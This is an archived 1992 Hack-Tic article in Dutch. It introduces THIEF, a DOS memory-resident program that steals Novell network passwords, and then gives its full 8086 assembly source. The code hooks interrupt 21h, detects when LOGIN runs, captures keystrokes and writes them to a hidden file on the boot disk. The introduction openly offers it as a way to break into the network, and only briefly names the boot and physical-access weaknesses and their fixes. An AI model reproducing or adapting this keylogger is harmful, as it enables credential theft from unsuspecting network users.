home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / THIEF.ASM < prev    next >
Assembly Source File  |  1992-01-15  |  8KB  |  269 lines

  1. ;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop.
  2. ;Nadruk wordt door de redaktie toegestaan!
  3. ;------------------------------------------------------------------------------
  4. ;
  5. ;  Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken
  6. ;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of
  7. ;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het
  8. ;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van
  9. ;een anonieme auteur.
  10. ;
  11. ;  THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma
  12. ;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om
  13. ;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong
  14. ;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington
  15. ;High School in Denver, Colorado USA.
  16. ;  Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30
  17. ;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait
  18. ;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op
  19. ;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden
  20. ;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende
  21. ;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2
  22. ;model 80's(!) met harddisks. De systeembeheerders en andere "power-users"
  23. ;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen
  24. ;hard-disks, zij gebruiken geen boot-proms.
  25. ;  Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF
  26. ;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase.
  27. ;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen"
  28. ;programma op de bootschijf activeerde. Zodra er echter een programma met de
  29. ;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle
  30. ;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De
  31. ;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft.
  32. ;  Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de
  33. ;zwakheden die deze hack mogelijk maken:
  34. ;  -Een boot-proces dat veranderd kan worden
  35. ;  -Fysieke toegang (door een onbevoegde) tot de computer
  36. ;  Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is
  37. ;Kees.
  38. ;  Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde
  39. ;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS:
  40. ;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te
  41. ;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op
  42. ;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS.
  43. ;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle
  44. ;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het
  45. ;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een
  46. ;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had
  47. ;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach,
  48. ;zo werkt het ook.
  49. ;  Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als
  50. ;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de
  51. ;problematiek van LAN-beveiliging.
  52. ;  De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo
  53. ;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte
  54. ;genialiteit.
  55. ;
  56. ;  Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker
  57. ;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren.
  58. ;
  59. ;
  60. ;                       DE CODE VAN THIEF:
  61. ;
  62. ;
  63. cseg    segment
  64.         assume  cs:cseg,ds:cseg
  65.  
  66.         org 100h
  67.         public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
  68.         public cntr,lits,begin
  69.             
  70.         .RADIX  16
  71. start:
  72.         push cs
  73.         push cs
  74.         push cs
  75.         pop ds
  76.         pop es
  77.         mov ax,0fffeh
  78.         CLI
  79.         pop ss
  80.         mov sp,ax
  81.         STI
  82.         jmp begin
  83. oi21    dd ?
  84. ac      dw 0
  85. ob      dw 80h dup (?)
  86. buff2   db 80h dup (?)
  87. fn      db 'c:\testing.tmp',0,'                  '
  88. search1 db 'LOGIN'
  89. foundf  db 0
  90. fh      dw 0
  91. flag    db 0
  92. cntr    dw 0
  93.  
  94. ni21:
  95.         assume cs:cseg,ds:nothing,es:nothing
  96.         cmp ax,4b00h
  97.         je exec
  98.         cmp foundf,0ffh
  99.         jne nc
  100.         cmp ah,8
  101.         je  oc
  102.         cmp ah,7
  103.         je oc
  104.  
  105. nc:
  106.         push ax
  107.         mov al,cs:flag
  108.         not al
  109.         cmp al,0
  110.         jne jtov
  111.         mov ax,cntr
  112.         inc ax
  113.         mov cntr,ax
  114.         cmp ax,31h
  115.         jb  jtov
  116.         xor ax,ax
  117.         mov cntr,ax
  118.         mov flag,al
  119.         pop ax
  120.         pushf
  121.         call dword ptr [oi21]
  122.         push ds
  123.         push cs
  124.         pop ds
  125.         push ax
  126.         push bx
  127.         push cx
  128.         push dx
  129.         jmp short wpwtf
  130.  
  131. jtov:
  132.         pop ax
  133.         jmp dword ptr cs:[oi21]
  134.  
  135. exec:   call scanfor
  136.         jmp nc
  137. oc:
  138.  
  139.         pushf
  140.         call dword ptr cs:[oi21]
  141.         assume ds:cseg
  142.         push ds
  143.         push cs
  144.         pop  ds
  145.         push ax
  146.         push bx
  147.         push cx
  148.         push dx
  149.         mov bx,ac
  150.         mov [bx],al
  151.         inc bx
  152.         mov [ac],bx
  153.         cmp al,0dh
  154.         jne lethro
  155.         mov byte ptr [bx],0ah
  156.         not cs:[flag]
  157. lethro:
  158.         pop dx
  159.         pop cx
  160.         pop bx
  161.         pop ax
  162.         pop ds
  163.         iret
  164.  
  165. scanfor:
  166.         push ax
  167.         push di
  168.         push si
  169.         push es
  170.         push ds
  171.         push cs
  172.         push cs
  173.         pop es
  174.         mov si,dx
  175.         mov di,offset buff2
  176. moveit:
  177.         lodsb
  178.         and al,0dfh
  179.         stosb
  180.         or al,al
  181.         jnz moveit
  182.         pop ds
  183.         mov di,offset buff2
  184. look:
  185.         push di
  186.         mov si,offset search1
  187.         mov cx,5
  188.         repe cmpsb
  189.         pop di
  190.         or cx,cx
  191.         jz foundit
  192.         inc di
  193.         cmp byte ptr [di+5],0
  194.         je not_found
  195.         jmp look
  196. not_found:
  197.         xor ax,ax
  198.         mov foundf,al
  199.         jmp short endofsearch
  200. foundit:
  201.         mov ax,0ffh
  202.         mov foundf,al
  203. endofsearch:
  204.         pop ds
  205.         pop es
  206.         pop si
  207.         pop di
  208.         pop ax
  209.         ret
  210.  
  211. wpwtf:
  212.        mov ax,3d02h
  213.        mov dx,offset fn
  214.        pushf
  215.        call dword ptr [oi21]
  216.        jnc exist
  217.        cmp al,2
  218.        je create
  219.        jmp lethro
  220. create:
  221.        mov ah,3ch
  222.        mov dx,offset fn
  223.        mov cx,02h+04h
  224.        pushf
  225.        call dword ptr [oi21]
  226.        jnc exist
  227.        jmp lethro
  228. exist:
  229.        mov fh,ax
  230.        mov bx,ax
  231.        mov ax,4202h
  232.        xor cx,cx
  233.        xor dx,dx
  234.        pushf
  235.        call dword ptr [oi21]
  236.        mov cx,[ac]
  237.        mov dx,offset ob
  238.        sub cx,dx
  239.        mov [ac],dx
  240.        inc cx
  241.        mov bx,fh
  242.        mov ah,40h
  243.        pushf
  244.        call dword ptr [oi21]
  245.        mov ah,3eh
  246.        mov bx,fh
  247.        pushf
  248.        call dword ptr [oi21]
  249.        jmp lethro
  250.  
  251. lits   db 90h
  252. begin:
  253.        mov ax,offset ob
  254.        mov [ac],ax
  255.        mov ax,3521h
  256.        int 21h
  257.        mov di,offset oi21
  258.        mov [di],bx
  259.        mov [di+2],es
  260.        mov dx,offset ni21
  261.        push cs
  262.        pop ds
  263.        mov ax,2521h
  264.        int 21h
  265.        mov dx,offset lits
  266.        int 27h
  267. cseg   ends
  268.        end start
  269.